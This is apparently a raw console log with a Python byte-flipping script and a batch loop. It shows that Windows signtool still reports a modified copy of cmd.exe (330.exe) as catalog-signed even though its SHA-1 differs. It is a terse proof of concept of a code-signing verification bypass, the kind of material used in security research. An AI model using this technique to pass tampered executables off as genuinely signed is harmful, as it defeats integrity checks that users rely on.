C:\signcheck>signtool verify /a /v cmd.exe

Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3

Signing Certificate Chain:
    Issued to: Microsoft Root Certificate Authority
    Issued by: Microsoft Root Certificate Authority
    Expires:   Sun May 09 19:28:13 2021
    SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072

$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

import sys

orig = list(open(sys.argv[1], "rb").read())

i = 0
while i < len(orig):
	current = list(orig)
	current[i] = chr(ord(current[i]) ^ 0xde)
	path = "%d.exe" % i
	
	output = "".join(str(e) for e in current)
	open(path, "wb").write(output)
	i += 1
	
print "done"

FOR /L %%A IN (1,1,10000) DO (
	signtool verify /v /a %%A.exe
)

C:\signcheck>signtool verify /a /v 330.exe

Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3

$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe

$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe